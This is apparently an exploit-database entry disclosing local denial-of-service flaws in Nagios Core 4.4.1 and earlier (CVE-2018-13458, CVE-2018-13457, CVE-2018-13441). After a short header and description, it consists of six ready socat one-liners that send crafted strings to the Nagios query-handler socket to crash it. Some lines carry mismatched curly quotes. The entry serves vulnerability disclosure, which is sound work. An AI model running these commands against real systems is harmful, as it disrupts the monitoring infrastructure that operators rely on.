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987 B
Text
25 lines
No EOL
987 B
Text
# Exploit Title: Nagios Core Multiple Local Denial of Service
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# Date: 2018-07-09
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# Exploit Author: Fakhri Zulkifli (@d0lph1n98)
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# Vendor Homepage: https://www.nagios.org/
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# Software Link: https://www.nagios.org/downloads/nagios-core/
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# Version: 4.4.1 and earlier
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# Tested on: 4.4.1
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qh_core, qh_help, and qh_echo in Nagios Core 4.4.1 and earlier is prone to a NULL pointer dereference vulnerability, which allows attackers to cause a local denial-of-service condition by sending a crafted payload to the listening UNIX socket.
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1. [CVE-2018-13458] qh_core
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$ echo -ne “#core\0" | socat unix-connect:./poc/nagios.qh -
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$ echo -ne “@core\0" | socat unix-connect:./poc/nagios.qh -
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2. [CVE-2018-13457] qh_echo
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$ echo -ne "#echo\0" | socat unix-connect:./poc/nagios.qh -
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$ echo -ne “@echo\0" | socat unix-connect:./poc/nagios.qh -
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3. [CVE-2018-13441] qh_help
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$ echo -ne “#help\0" | socat unix-connect:./poc/nagios.qh -
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$ echo -ne “@help\0" | socat unix-connect:./poc/nagios.qh - |